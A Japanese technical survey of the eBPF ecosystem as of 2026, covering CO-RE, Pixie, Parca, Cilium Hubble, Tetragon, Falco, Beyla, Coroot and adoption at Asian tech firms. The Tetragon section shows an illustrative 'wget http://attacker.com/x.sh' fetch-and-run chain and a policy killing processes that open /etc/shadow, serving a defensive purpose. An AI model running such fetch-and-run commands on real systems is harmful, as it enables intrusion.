💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

원문 렌더가 준비되기 전까지 텍스트 가이드로 표시합니다.

eBPF がインフラの「神経系」になった 2026 年

5 年前、eBPF は「Linux カーネルハッカーの面白い玩具」程度に扱われていた。2026 年の今、eBPF は以下の領域で事実上の標準である。

- **ネットワーク** — Cilium が GKE、EKS、AKS の既定 CNI オプションとなり、kube-proxy を置き換えつつある

- **観測性** — Pixie、Parca、Beyla、Coroot が「コード変更なしの自動計装」を現実にした

- **セキュリティ** — Tetragon、Falco がランタイムセキュリティの事実上の標準

- **スケジューリング** — sched_ext (CONFIG_SCHED_CLASS_EXT) が Linux 6.12 からメインラインに入り、Meta と Google が独自スケジューラを本番運用している

- **電力** — Kepler が CNCF Incubating 入りし、データセンターの carbon footprint 計測の事実上の標準になった

本記事では 2026 年時点の eBPF エコシステムを上から下まで概観する。各ツールが何をしているのか、なぜそう動くのか、韓国と日本のビッグテックでどう採用されているのかを整理する。

1. 2026 年の eBPF — 4 つのドメインの事実上の標準

まず全体像から描こう。eBPF は今、4 つの領域で同時に標準として固まりつつある。

┌──────────────────────────────────────────────────────────────────────────┐

│ eBPF ドメイン別 2026 年事実上の標準 │

├──────────────────────────────────────────────────────────────────────────┤

│ ネットワーク / CNI │ Cilium (CNCF Graduated 2023) │

│ - ネットワーク観測性│ Hubble (Cilium の姉妹プロジェクト) │

│ - kube-proxy 置換 │ Cilium kube-proxy replacement │

│ - サービスメッシュ │ Cilium Service Mesh (サイドカーレス Envoy) │

│ 観測性 (トレース) │ Pixie (CNCF Sandbox、New Relic 後援 / OSS) │

│ 観測性 (プロファイル) │ Parca / Grafana Pyroscope │

│ 観測性 (自動計装) │ Grafana Beyla / OpenTelemetry eBPF Collector │

│ 観測性 (自動推論) │ Coroot │

│ k8s 診断ツール │ Inspektor Gadget (Microsoft、CNCF Sandbox) │

│ セキュリティ (ランタイム)│ Falco (CNCF Graduated 2024) / Tetragon (Isovalent)│

│ - ポリシーシグナル │ Cilium Tetragon │

│ - syscall 監査 │ Falco │

│ 電力 / サステナビリティ│ Kepler (CNCF Incubating) │

│ スケジューリング │ sched_ext (Linux 6.12+、Meta scx スケジューラ) │

└──────────────────────────────────────────────────────────────────────────┘

興味深いのは、これら 4 領域の共通点が「カーネル内で安全にコードを実行する」という単一の技術の上に成り立っていることだ。それがどうやって可能なのかを次章で見る。

2. eBPF の基礎 — なぜカーネルを「安全に」拡張できるのか

eBPF は extended Berkeley Packet Filter の略だが、名前が意味する範囲よりはるかに広い。本質は「ユーザ空間が書いた小さなプログラムを、検証付きでカーネル文脈で実行できる仮想マシン」である。

従来のカーネル拡張手段

1. **カーネルモジュール (`.ko`)** — 強力だが危険。間違ったモジュールはカーネルパニックを起こす

2. **kprobes / uprobes / tracepoints** — 安全だがデータ収集の幅が限定的

3. **systemtap** — スクリプト言語に見えるが、最終的にはカーネルモジュールにコンパイルされる

eBPF のアプローチ

ユーザ空間カーネル空間

────────── ──────────

[C ソース] [eBPF VM]

│ ▲

▼ │

[Clang/LLVM] ──▶ [eBPF bytecode] ──▶ [Verifier]

│

▼

[JIT コンパイラ]

│

▼

[ネイティブコード]

│

▼

[フック地点: kprobe, tracepoint, XDP, sched ...]

中核は **Verifier**。eBPF プログラムはカーネルにロードされる前に次を検証される。

- **無限ループなし** — 後方ジャンプは明示的に上限付き (bounded loop、Linux 5.3+)

- **有効なメモリアクセスのみ** — ポインタ追跡、範囲チェック

- **終了保証** — 実行時間の上限 (1M 命令、Linux 5.2+)

- **ヘルパー関数のみ** — 任意のカーネル関数は呼べず、ホワイトリストされたヘルパーのみ呼び出し可

この verifier のおかげで、ユーザは「カーネル内で動くのにカーネルを壊せない」コードを書ける。これが eBPF の魔法である。

eBPF プログラムのライフサイクル

// Hello eBPF (libbpf スタイル)

#include <linux/bpf.h>

#include <bpf/bpf_helpers.h>

SEC("tracepoint/syscalls/sys_enter_openat")

int trace_openat(void *ctx) {

char msg[] = "openat called\n";

bpf_trace_printk(msg, sizeof(msg));

return 0;

}

char LICENSE[] SEC("license") = "GPL";

コンパイル

clang -O2 -target bpf -c hello.c -o hello.o

ロード (bpftool を使う)

sudo bpftool prog load hello.o /sys/fs/bpf/hello

sudo bpftool prog attach pinned /sys/fs/bpf/hello tracepoint syscalls sys_enter_openat

トレース出力を見る

sudo cat /sys/kernel/debug/tracing/trace_pipe

この単純な例が示すのは: openat システムコールが呼ばれるたび、カーネルが我々の書いた検証済みコードを実行する。プロセスがどのファイルを開くのか追跡できる。

3. CO-RE 革命 — Compile Once, Run Everywhere

eBPF 初期最大の問題は **カーネルバージョン互換性** だった。カーネル内部の構造体はバージョンごとに違う。例えば `task_struct` のあるフィールドは 5.4 でオフセット 200、5.10 で 224、6.5 で 248 に位置する。

なので古い BCC は「ランタイムにカーネルヘッダを使って Clang でコンパイルする」方式だった。欠点:

- 全ノードに Clang + カーネルヘッダの導入が必要 (数百 MB)

- 起動時間が数秒〜数十秒

- 本番環境でコンパイラを動かすことへの抵抗感

CO-RE の仕組み

CO-RE は BTF (BPF Type Format) と libbpf の再配置機能でこの問題を解く。

コンパイル時:

eBPF.c ── Clang/LLVM ──▶ BPF bytecode + BTF 情報 (構造体メンバ参照のメタデータ)

ランタイム:

実行中のカーネルの BTF (/sys/kernel/btf/vmlinux) と比較

──▶ libbpf がオフセットを再計算

──▶ bytecode のメモリアクセス命令をパッチ

──▶ verifier を通過後ロード

中心マクロは `BPF_CORE_READ()`。昔はこう書いた。

// BCC 方式 (ランタイムコンパイル)

struct task_struct *task = (struct task_struct *)bpf_get_current_task();

pid_t ppid;

bpf_probe_read(&ppid, sizeof(ppid), &task->real_parent->tgid);

今はこう書く。

// CO-RE 方式 (一度コンパイル、どこでも動く)

struct task_struct *task = (struct task_struct *)bpf_get_current_task();

pid_t ppid = BPF_CORE_READ(task, real_parent, tgid);

この小さな違いがもたらした変化は巨大だ。**コンテナイメージのサイズが 100 MB ではなく 5 MB になり**、起動時間が即時化した。Cilium、Pixie、Tetragon、Inspektor Gadget など現代の eBPF ツールはすべて CO-RE を基盤とする。

BTF 必須、カーネルヘッダ不要

2026 年時点で Ubuntu 22.04+、RHEL 9+、Amazon Linux 2023+、Bottlerocket は既定で BTF を同梱する (`/sys/kernel/btf/vmlinux`)。古いカーネルを使う場合は BTFHub (https://github.com/aquasecurity/btfhub) が外部 BTF を提供する。

4. Pixie — Kubernetes 自動計装の決定版

Pixie は New Relic が買収して OSS 化 (Apache 2.0) した Kubernetes 観測性プラットフォームである。CNCF Sandbox にあり、2026 年に入ってからは Incubating 候補とも噂されている。

Pixie が解く問題

従来の APM は次のうちひとつを強いる。

1. 全サービスにエージェントを入れる (Datadog、New Relic APM)

2. 全サービスに OpenTelemetry SDK をコードで埋め込む

3. サービスメッシュのサイドカーを敷く (Istio、Linkerd)

3 つとも **コード変更または配備変更** が必要だ。Pixie の約束は違う。**「YAML 一枚でクラスタにインストールしたら、その瞬間からすべてのトラフィックが見える。」**

アーキテクチャ

┌──────────────────────────────┐

│ Pixie UI / Pixie CLI │

│ PxL クエリ言語 (Python 風) │

└──────────────┬───────────────┘

│ gRPC

┌───────────────▼─────────────────┐

│ Pixie Cloud (任意、自己ホスト可) │

│ または Pixie Vizier (クラスタ内) │

└───────────────┬─────────────────┘

│

┌────────────────────────────┼────────────────────────────┐

▼ ▼ ▼

┌───────┐ ┌───────┐ ┌───────┐

│ PEM │ │ PEM │ │ PEM │

│ (ノード)│ │ (ノード)│ │ (ノード)│

└─┬─────┘ └─┬─────┘ └─┬─────┘

│ eBPF │ eBPF │ eBPF

▼ ▼ ▼

[カーネルトレース] [カーネルトレース] [カーネルトレース]

PEM = Pixie Edge Module (DaemonSet)

データはノードメモリに 24 時間のみ保持 (長期保存は Iceberg/S3 連携)

PEM がノードごとに立ち、次を自動キャプチャする。

- HTTP/HTTP2/gRPC リクエスト・レスポンス (header + body)

- MySQL、PostgreSQL、Redis、Kafka、MongoDB のクエリ

- DNS クエリ

- TCP/UDP 接続、再送、RTT

- CPU プロファイル (perf_event)

TLS も見える

最も印象的な部分。**HTTPS トラフィックが見える**。どうやって? OpenSSL の `SSL_read` / `SSL_write` に uprobe を仕掛け、暗号化直前・復号直後の平文を観測する。

// 単純化した擬似コード

SEC("uprobe/SSL_write")

int trace_ssl_write(struct pt_regs *ctx) {

void *buf = (void *)PT_REGS_PARM2(ctx);

size_t len = (size_t)PT_REGS_PARM3(ctx);

// buf の先頭 N バイトを perf buffer へ送る

...

}

Go バイナリは静的リンクされているのでもう少し複雑だ。Pixie は Go の TLS ライブラリ (`crypto/tls.(*Conn).Read/Write`) のシンボルを探して uprobe を仕掛ける。

PxL クエリ例

直近 5 分で最も遅い HTTP エンドポイント Top 10

df = px.DataFrame(table='http_events', start_time='-5m')

df = df[df.resp_status >= 200]

df.endpoint = df.req_path

df = df.groupby('endpoint').agg(

p50=('latency', px.quantiles(0.50)),

p99=('latency', px.quantiles(0.99)),

count=('latency', px.count),

)

df = df.sort('p99', desc=True).head(10)

px.display(df)

PxL は Python に似た DSL だが、実体は C++ バックエンドでコンパイル・実行される。全クエリが PEM 上のインメモリデータで実行されるので高速だ。

限界

- **長期ストレージなし** — 既定 24 時間。長く保管したければ Pixie を OpenTelemetry でエクスポートし、別バックエンド (Honeycomb、Tempo、Iceberg) に送る

- **リソース消費** — PEM はノード当たりメモリ 1–2 GB を既定で占有。小さいノードでは負担

- **HTTPS は uprobe マッチングが鍵** — 静的 OpenSSL リンクや非標準 TLS ライブラリで難易度が上がる

それでも Pixie は「eBPF 自動計装が何をできるか」を見せた決定版である。

5. Parca — 継続的プロファイリング

Parca は Polar Signals (Frederic Branczyk が創った会社) の OSS 継続的プロファイリングツールである。2026 年時点で CNCF Sandbox。

「継続的プロファイリング」とは

従来のプロファイリングは「異常があればその時に perf record を動かして解析」だった。継続的プロファイリングは **常に低オーバヘッド (通常 1%) で全プロセスをプロファイリングし、データを保存する**。それで「先週火曜の 3 時にメモリが跳ねた」のような事後解析が可能になる。

Parca の特徴

別の選択肢:

- perf record → 手動、データが巨大

- py-spy / pyroscope → 言語別エージェント

- Datadog Continuous Profiler → 有料、プロプライエタリ

Parca のアプローチ:

- parca-agent: DaemonSet でノードあたり 1 つ

- eBPF で 99 Hz スタックサンプリング (perf_event)

- Go、Rust、C/C++、Python、Java、Node.js を単一エージェントで

- DWARF ベースのスタック巻き戻し (libunwind 不要、カーネル内で)

- pprof 互換フォーマットで保存 (Parca Server)

ノード別スタックサンプリングの難しさ

スタックを 99 Hz でサンプリングするとは、1 秒に 99 回、全 CPU で現在実行中の関数のコールスタックを取得するという意味だ。コールスタックは stack pointer (rbp レジスタ) を辿るのが定石だが、現代のコンパイラは最適化のために frame pointer を省く (`-fomit-frame-pointer`)。

打開策は 2 つ。

1. **Frame pointer を再有効化** — Fedora 38+、Ubuntu 24.04+ がライブラリ群を frame pointer 有効でビルドし直した (本当に大きな転換だった)

2. **DWARF ベースの巻き戻し** — DWARF eh_frame セクションを読み、stack pointer の変換ルールを得る。Parca はこれを eBPF 内で行う

Parca は DWARF unwind 情報を事前に BPF map にロードし、サンプリング時に参照してコールスタックを復元する。この技術は Polar Signals が Linux コミュニティと作り上げたものであり、今や Grafana Pyroscope、Datadog の profiler もすべて同じアプローチを取る。

フレームグラフ

収集したスタックデータはフレームグラフ (Brendan Gregg が発明した可視化) で見る。

┌──────────────────────────────────────┐

│ main (100%) │

├────────────┬─────────────────────────┤

│ http (80%) │ db.query (15%) │

├─────┬──────┼────────┬────────────────┤

│a(40)│b(40) │parse(5)│ exec(10) │

└─────┴──────┴────────┴────────────────┘

横幅 = CPU 時間比率

上方向 = 呼び出し深さ

Parca vs Pyroscope vs Datadog

|--------|------|----------------------|--------------|-------------|

2026 年の流れは Grafana Pyroscope + Parca 互換フォーマットへの収束。pprof は事実上の標準交換フォーマットになった。

6. Cilium Hubble — Kubernetes ネットワーク観測性

Cilium は 2023 年に CNCF Graduated になり、2026 年時点で GKE Dataplane v2、EKS Anywhere、AKS Advanced の既定オプションだ。Hubble は Cilium の姉妹プロジェクトで、ネットワーク流量を観測する。

kube-proxy の限界

既存の kube-proxy は iptables または IPVS ルールで ClusterIP ルーティングを行う。問題:

- サービス数が増えると iptables ルールが数万 — パケットごとに O(n) マッチング (IPVS はハッシュだが conntrack 負担)

- L7 ルーティング不可

- ポリシー可視性が乏しい (どのパケットがなぜ落ちたか不明)

Cilium のアプローチ

TC ingress hook ─▶ eBPF プログラム ─▶ ルーティング / ポリシー / ロギング

├─▶ DROP / FORWARD / REDIRECT

└─▶ Hubble へイベント送信

kube-proxy 置換: サービスマッピングを BPF map に保存、パケット到着時に O(1) ルックアップ

ネットワークポリシー: L3-L7 を全て BPF で評価

サービスメッシュ: Envoy をサイドカーレス (per-node) で

Hubble UI

Hubble は Cilium が放出する流量イベントを集めて次を表示する。

- リアルタイムサービス依存グラフ

- L7 メトリクス (HTTP status 分布、メソッド分布)

- DNS クエリ流量

- ポリシー違反 (DENY 理由含む)

CLI でリアルタイム流量を見る

hubble observe --namespace prod --follow

Mar 15 10:23:01.234 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 SYN

Mar 15 10:23:01.235 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 ACK

Mar 15 10:23:01.240 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 HTTP/1.1 GET /v1/users/me (200, 5ms)

L7 統計

hubble observe --http-status 500 --since 5m --output table

Cilium Network Policy の例

apiVersion: cilium.io/v2

kind: CiliumNetworkPolicy

metadata:

spec:

endpointSelector:

matchLabels:

app: api

ingress:

- fromEndpoints:

- matchLabels:

app: frontend

toPorts:

- ports:

- port: '8080'

protocol: TCP

rules:

http:

- method: GET

path: '/v1/.*'

- method: POST

path: '/v1/orders'

このポリシーは L7 (HTTP メソッド + パス) まで強制する。既存の NetworkPolicy では不可能だった。

Hubble Timescape

2025 年に追加された機能。Hubble の流量データを Iceberg に長期保存し、「先週のトラフィックパターン」を解析できる。セキュリティインシデントの事後調査に決定的だ。

7. Tetragon — Isovalent のセキュリティ観測性

Tetragon は Cilium を作った Isovalent (今は Cisco) のセキュリティ観測性 / ランタイムセキュリティツールである。2024 年に CNCF Incubating 入り。

Falco と何が違うか

Falco はシステムコールにフックを掛けてルールベースで検知する。Tetragon は似ているが次が違う。

| 観点 | Falco | Tetragon |

|------|-------|----------|

| フック方式 | libbpf modern eBPF + kernel module (legacy) | 純 eBPF、CO-RE ベース |

| ポリシー言語 | YAML ルール (Sysdig 互換) | TracingPolicy (CRD) |

| リアルタイム遮断 | 部分的 (BPF helper) | 強力 (sigkill、override) |

| プロセス文脈 | 豊富 | 豊富 + 親 / 祖父 / exec ancestry |

| k8s 統合 | 良好 | 非常に強力 (Pod メタデータを自動付与) |

リアルタイム遮断の意味

Tetragon は BPF ヘルパー `bpf_send_signal()` で違反プロセスに SIGKILL を送れる。つまり「検知後通知」ではなく「検知即遮断」だ。

apiVersion: cilium.io/v1alpha1

kind: TracingPolicy

metadata:

spec:

kprobes:

- call: 'security_file_open'

syscall: false

args:

- index: 0

type: 'file'

selectors:

- matchArgs:

- index: 0

operator: 'Prefix'

values:

- '/etc/shadow'

- '/etc/passwd'

matchActions:

- action: 'Sigkill'

このポリシーが適用されると、どのプロセスでも `/etc/shadow` を開こうとした瞬間にカーネル文脈で SIGKILL が発火する。ユーザ空間エージェントが起きて判断するわけではない。これが可能なのは verifier を通ったコードがカーネル内で直接実行されるからだ。

Process Ancestry

Tetragon が自慢する別の機能。全イベントが「このプロセスがどう生成されたか」を追跡できる。

プロセス sshd (pid 1234, uid 0)

└─ bash (pid 1235, uid 0)

└─ wget http://attacker.com/x.sh (pid 1240, uid 0)

└─ sh x.sh (pid 1241, uid 0)

└─ /tmp/x (pid 1245, uid 0) ← 違反発生

この ancestry は eBPF で `task_struct->real_parent` を辿って作られる。セキュリティインシデント解析で「この小さな違反の本当の起点はどこだったか」を即座に把握できる。

8. BCC + bpftrace — 伝統的なトレーシングツール

上のツール群が「本番デーモン」だとすれば、BCC と bpftrace は「エンジニアが SSH で入って直接動かす」トレーシングツールである。Brendan Gregg の書籍「BPF Performance Tools」(2019) 以後、標準になった。

BCC vs bpftrace

- **BCC**: Python または C++ でラッパを書く大きめのフレームワーク。複雑なツール群 (`opensnoop`、`execsnoop`、`biolatency`、`tcplife` など 200+ 個)

- **bpftrace**: awk 風の単一行 DSL。その場でトレース可能

bpftrace のワンライナーマジック

1) どのプロセスがどのファイルを開いたか (3 秒間)

sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s opens %s\n", comm, str(args->filename)); }' -c 'sleep 3'

2) ディスク I/O レイテンシのヒストグラム

sudo bpftrace -e '

kprobe:vfs_read { @start[tid] = nsecs; }

kretprobe:vfs_read /@start[tid]/ {

@ns = hist(nsecs - @start[tid]);

delete(@start[tid]);

}

3) どの関数が最も多く呼ばれるか (10 秒間)

sudo bpftrace -e 'profile:hz:99 { @[kstack(3)] = count(); }' -c 'sleep 10' | head -20

4) TCP 再送のたびに宛先を表示

sudo bpftrace -e '

kprobe:tcp_retransmit_skb {

$sk = (struct sock *)arg0;

printf("retransmit %s\n", ntop($sk->__sk_common.skc_daddr));

}

BCC の標準ツール群

`bcc-tools` (Ubuntu/Debian) または `bpftrace` (CO-RE ビルド) を入れた後、`/usr/sbin/` または `/usr/share/bcc/tools/` に次が使える。

どのプロセスが新しく立ち上がったか

sudo execsnoop-bpfcc

どのファイルが開かれたか

sudo opensnoop-bpfcc

TCP 接続のライフ

sudo tcplife-bpfcc

ブロック I/O レイテンシのヒストグラム

sudo biolatency-bpfcc

CPU 上位

sudo profile-bpfcc 10

こうしたツールの価値

上で見た Pixie、Parca、Hubble は「常時オン」のツールだ。一方 BCC/bpftrace は「障害時にその場で答えを得る」ツールだ。両方が必要だ。

Brendan Gregg の「Systems Performance」(第 2 版、2020) と「BPF Performance Tools」(2019) がこの分野のバイブルである。

9. OpenTelemetry eBPF Collector + Grafana Beyla — 自動計装の標準化

OpenTelemetry は CNCF の観測性標準だ。2025 年に入って eBPF ベースの自動計装は 2 つの流れで固まった。

OpenTelemetry eBPF Collector

opentelemetry-ebpf プロジェクトは OpenTelemetry 公式コンポーネントである。Splunk が主導して作り、次を自動収集する。

- ネットワーク流量メトリクス (kprobe ベース)

- DNS、TCP、UDP 統計

- Pod/Service/Workload ラベル付け (k8s 統合)

OTLP で吐くので、どのバックエンド (Tempo、Jaeger、Honeycomb、Datadog) でも受けられる。

Grafana Beyla

Beyla は Grafana Labs が作った Go ベースの eBPF 自動計装エージェントである。2024 年に GA。特徴。

- HTTP、gRPC、SQL、Redis のようなプロトコルを uprobe で自動認識

- TLS トラフィックも OpenSSL/Go TLS の関数にフックして平文キャプチャ

- 分散トレースコンテキスト (W3C traceparent) も抽出

- OTLP、Prometheus、Mimir へエクスポート

単純実行 (どのプロセスを追うかを BEYLA_EXECUTABLE_NAME で指定)

BEYLA_EXECUTABLE_NAME=myapp \

BEYLA_PROMETHEUS_PORT=9090 \

BEYLA_OPEN_PORT=8080 \

sudo beyla

k8s で DaemonSet として

apiVersion: apps/v1

kind: DaemonSet

metadata:

spec:

template:

spec:

hostPID: true # ホストの他プロセスを見るため

containers:

- name: beyla

image: grafana/beyla:latest

securityContext:

privileged: true # 単純化: 実際は CAP_SYS_ADMIN、CAP_BPF のみで十分

env:

- name: BEYLA_DISCOVERY_SERVICES

value: 'k8s:.*' # 全ての k8s サービスを自動発見

- name: BEYLA_OTEL_ENDPOINT

value: 'http://otel-collector:4318'

Beyla vs Pixie

| 観点 | Beyla | Pixie |

|------|-------|-------|

| 後援 | Grafana Labs | New Relic |

| ライセンス | Apache 2.0 | Apache 2.0 |

| データモデル | OTLP (標準) | PxL クエリ (独自) |

| バックエンド | Tempo、Jaeger、任意の OTLP バックエンド | Pixie Vizier + エクスポート |

| 強み | OTel エコシステム統合 | インメモリクエリ、リッチな UI |

2026 年のトレンドは明確だ。**自動計装は事実上すべて OpenTelemetry へ向かう道**であり、Beyla / Pixie / Coroot がその道を整備している。

10. Coroot — 自動推論観測性

Coroot は 2023 年に登場した比較的新しいプロジェクトだが、「自動推論 (auto-inferred)」観測性というアプローチで急速に地位を確立した。OSS (Apache 2.0)。

「自動推論」とは

伝統的な観測性は人間が次を設定しなければならない。

- どの指標が SLO か

- どのサービスがどの他サービスに依存するか

- アラート閾値は何か

- どのログパターンがエラーか

Coroot の約束: **「これら全てを eBPF で観測し、自動推論する。」**

Coroot が自動で作るもの:

1. サービス依存グラフ (ネットワーク流量から)

2. SLO 候補 (HTTP/gRPC トラフィック解析)

3. データベースクエリのグルーピング (正規化後に自動分類)

4. アラート候補 (異常検知ベース)

5. コスト / リソース効率の解析

構成

Coroot もノード別エージェント (coroot-node-agent) を立てる。このエージェントが eBPF で次をキャプチャする。

- TCP 接続、RTT、再送

- HTTP/HTTPS (uprobe で TLS キャプチャ)

- DB プロトコル (PostgreSQL、MySQL、Redis、MongoDB)

- ファイル I/O、CPU 使用

収集データは Coroot Server (Go) が Prometheus、ClickHouse をバックエンドに保存する。

自動推論の例

Coroot の UI に入ると、次のような画面が即座に見える。

- 「frontend -> api -> postgres -> s3」依存グラフ

- 各エッジの RPS、p99 レイテンシ、エラー率

- 「postgres に向かうクエリのうち SELECT * FROM users WHERE ... が p99 200 ms で最も遅いクエリ」

- 「frontend ノード ip-10-0-1-23 はベースラインより CPU が 30% 高い」

これが全部自動。誰もダッシュボードを組み立てていない。小さなチームに特に有用だ。

限界

Coroot は「標準」よりも「便利さ」寄りだ。バックエンドは Prometheus + ClickHouse なのでデータ互換性は良いが、データモデルが独自なので Datadog や Honeycomb に既に慣れた組織には追加の学習が必要になる。

11. Inspektor Gadget / Kepler / Falco — 小粒だが重要な 3 つ

Inspektor Gadget (Microsoft、CNCF Sandbox)

Inspektor Gadget は Microsoft が後援する「eBPF で作った k8s デバッグツール集」である。kubectl プラグインとして動作する。

kubectl gadget trace exec # クラスタ全体で新しく立つプロセスを追跡

kubectl gadget trace open # どのファイルが開かれるか

kubectl gadget trace dns # DNS クエリ流量

kubectl gadget snapshot socket # 全ノードの開いているソケットのスナップショット

kubectl gadget top file # ファイル I/O 使用量上位

内部的には BCC ツール群をラップする形から始まり、今は独自の IG (Inspektor Gadget) framework へ進化した。CO-RE ベース。

Kepler (Sustainable Computing)

Kepler (Kubernetes Efficient Power Level Exporter) は CNCF Sandbox で開始し、2025 年に Incubating 昇格。コンテナ単位の電力使用量を計測する。

方法は賢い。CPU カウンタ (RAPL: Running Average Power Limit)、ディスク I/O、ネットワーク I/O を eBPF でコンテナ単位に attribution した後、機械学習モデルでワット単位の電力を推定する。

Prometheus メトリクスとして公開

kepler_container_joules_total{container_name="myapp"} 12345.6

kepler_container_other_joules_total{...}

このデータで Carbon Footprint 計算機 (Cloud Carbon Footprint) が連動し「このサービスが 1 ヶ月に何 kg の CO2 を排出したか」を表示する。ESG レポートと FinOps に直結する。

Falco (CNCF Graduated)

Falco は 2024 年に CNCF Graduated。本質は「システムコールにフックを掛けてルールを評価するランタイムセキュリティエンジン」である。

falco_rules.yaml の抜粋

- rule: Write below etc

desc: an attempt to write to any file below /etc

condition: write_etc_common

output: 'File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name parent=%proc.pname)'

priority: ERROR

tags: [filesystem, mitre_persistence]

Falco は modern eBPF probe (libbpf ベース) が既定になり、古いカーネルモジュールドライバは廃止された。ルールセットは「Falco Rules」公式リポジトリに 600+ 個あり、ほとんどの MITRE ATT&CK カテゴリをカバーする。

Tetragon と Falco は競合関係だが、しばしば併用される。Falco はルールセットが豊富で、Tetragon はリアルタイム遮断が強力だ。

12. Windows eBPF / macOS eBPF — 他 OS への拡張

eBPF はもはや Linux 専用の技術ではない。

eBPF for Windows (Microsoft)

Microsoft は 2021 年に eBPF for Windows プロジェクトを開始した。2026 年時点で安定版が Windows Server 2025 に同梱され、Azure で本番運用が始まっている。

Linux 互換:

- libbpf 互換 API

- 同じ .o ファイルを (大半が) どちらでもロード可

- BPF_PROG_TYPE_XDP、BPF_PROG_TYPE_BIND、BPF_PROG_TYPE_CGROUP_SOCK など主要タイプ

差異:

- Verifier は PREVAIL (Microsoft 別実装、学術的に検証済み)

- JIT は Microsoft uBPF ベース

- フックポイントは NDIS (ネットワークドライバスタック) 中心

Azure のセキュリティチームが Tetragon スタイルのフックを Windows VM で動かしており、Cilium の Windows ノード対応も進行中だ。ゲームチェンジャーとまでは言わないが、「eBPF は Linux 専用」という認識は急速に薄れている。

macOS と Apple Silicon

Apple は公式に eBPF をサポートしない。macOS の kqueue、DTrace、Endpoint Security API が似た役割を果たす。ただし 2025 年に入って Apple Silicon 上で Linux VM (Lima、Tart、OrbStack) を介して eBPF ツールを動かす流れが定着した。Asahi Linux は ARM eBPF サポートが良好だ。

実験的に mac-bpf、ebpf-darwin のような非公式ポーティングの試みはあるが、本番使用は事実上ない。macOS では Linux VM 内で eBPF を使うのが正解だ。

13. 韓国 / 日本での採用 — Toss、Kakao、LINE、Mercari

Toss — Cilium + Hubble + Tetragon を全社標準に

Toss は 2024 年の開発者会議 SLASH で自社インフラが EKS + Cilium ベースであると発表した。中核の動機は kube-proxy の iptables ルール爆発問題だった。Cilium 導入後:

- ノードあたり iptables ルール数が 1 万+ からほぼ 0 へ

- サービスディスカバリのレイテンシ p99 が低下

- Hubble でマイクロサービス依存を可視化

- セキュリティ上重要な一部ドメインで Tetragon によるランタイム遮断

SLASH 24 の発表資料は YouTube に公開されている。

Kakao — eBPF ベースの社内トレーシング

Kakao は ifkakao 2024 で eBPF ベースの社内トレーシングシステムを紹介した。中核は BCC + 自社コレクタで RPC コールとデータベースクエリを自動キャプチャすること。Pixie を評価したが内製を選択した。

LINE / LY Corporation

LINE は LINE Engineering ブログで eBPF 活用事例を複数回公開している。特にメッセンジャートラフィックの TCP 再送解析、Kafka クラスタのネットワークデバッグに bpftrace を積極的に使う。

Mercari — 継続的プロファイリングの導入

Mercari は 2024 年に Mercari Engineering ブログで Grafana Pyroscope (Parca 互換) を本番投入した事例を共有した。Go マイクロサービス 100+ 個の CPU ホットスポットを発見し、EC2 コストを削減。

Yahoo Japan / LY Corporation

Yahoo! JAPAN は 2023 年から eBPF ベースのネットワーク観測性を運用している。自社コレクタでノードの全 TCP 流量をキャプチャし、ClickHouse に保存する。

14. 導入判断ガイド — 何をいつ使うか

最後に実戦的な判断ガイド。「最初から全部導入」せず、段階的に行こう。

ステージ 1 — ネットワーク可視性が必要か

**Cilium + Hubble** から始める。CNI を換えるのは短期的に最大の変更だが、長期的に最大の見返りを生む。新規クラスタなら問答無用で Cilium。

ステージ 2 — APM がない、または高すぎる

**Beyla** (OTel フレンドリー) か **Pixie** (インメモリクエリ) を 1 クラスタに敷いてみる。1 ヶ月以内に「どのサービスが遅いか」が見える。

ステージ 3 — プロファイルデータが必要

**Parca** か **Grafana Pyroscope** を敷く。Go/Rust/Java のワークロードで CPU ホットスポットが即座に見える。AI インフラのように CPU/メモリが高価なワークロードで効果大。

ステージ 4 — ランタイムセキュリティが必要

**Falco** から始める。ルールセットが豊富で導入が容易だ。リアルタイム遮断が本当に必要なら **Tetragon** を追加で。

ステージ 5 — k8s のデバッグが多い

**Inspektor Gadget** を kubectl プラグインとしてインストール。`kubectl gadget trace exec` のようなコマンドを日常的に使うようになる。

ステージ 6 — リソース / 電力モニタリングが必要

**Kepler** で電力計測。**Coroot** で自動推論ダッシュボード。

ステージ 7 — トラブルシューティングツール

**BCC + bpftrace** は常にインストール。SSH で入ってその場でデバッグする時用。

アンチパターン

- **全ツールを敷く** — リソースオーバヘッドが累積し、運用負担が増える。ツールあたりノードメモリ 100–500 MB 加算

- **CO-RE 非対応の古いカーネル** — Linux 5.4 未満なら最優先でアップグレード

- **BTF なしのカーネル** — `/sys/kernel/btf/vmlinux` がなければ BTFHub 依存

- **privileged DaemonSet 乱発** — CAP_BPF、CAP_PERFMON、CAP_NET_ADMIN を明示付与し、root を避ける

- **自動遮断を早く有効化しすぎる** — Tetragon の Sigkill アクションは誤設定で健全なプロセスを殺す。まずアラートモードで運用、パターン確認、それから遮断モード

まとめ — eBPF がインフラエンジニアリングの既定ツールになった理由

eBPF の爆発的な成長には明確な理由がある。

1. **CO-RE で運用が楽になった** — カーネルヘッダ、コンパイラが不要

2. **安全性** — verifier が保証する隔離はカーネルモジュールでは実現できなかったこと

3. **性能** — フックのコストは通常 100 ns 未満、本番環境で常時オンにできる

4. **標準化** — OpenTelemetry でデータモデルが収束、CNCF がツールを保証

5. **多言語** — 同じエージェント 1 つで Go、Rust、C++、Python、Java が見える

2026 年のインフラエンジニアが eBPF を知らずに働くことは、2016 年のインフラエンジニアが Docker を知らずに働くことに似てきた。本を 1 冊 (Liz Rice の「Learning eBPF」または Brendan Gregg の「BPF Performance Tools」) 読んで、クラスタ 1 つに Cilium + Hubble + Beyla を敷いてみることから始めよう。

> "We instrumented production with eBPF and discovered three latency issues that had been there for two years. We never had to add a single log line." — Lyft Engineering, 2024

参考 / References

- [eBPF 公式サイト](https://ebpf.io/)

- [eBPF Foundation](https://ebpf.foundation/)

- [Linux Kernel BPF ドキュメント](https://docs.kernel.org/bpf/)

- [libbpf GitHub](https://github.com/libbpf/libbpf)

- [bpftool GitHub](https://github.com/libbpf/bpftool)

- [CO-RE ガイド — Andrii Nakryiko ブログ](https://nakryiko.com/posts/bpf-portability-and-co-re/)

- [Liz Rice — Learning eBPF (O'Reilly, 2023)](https://www.oreilly.com/library/view/learning-ebpf/9781098135119/)

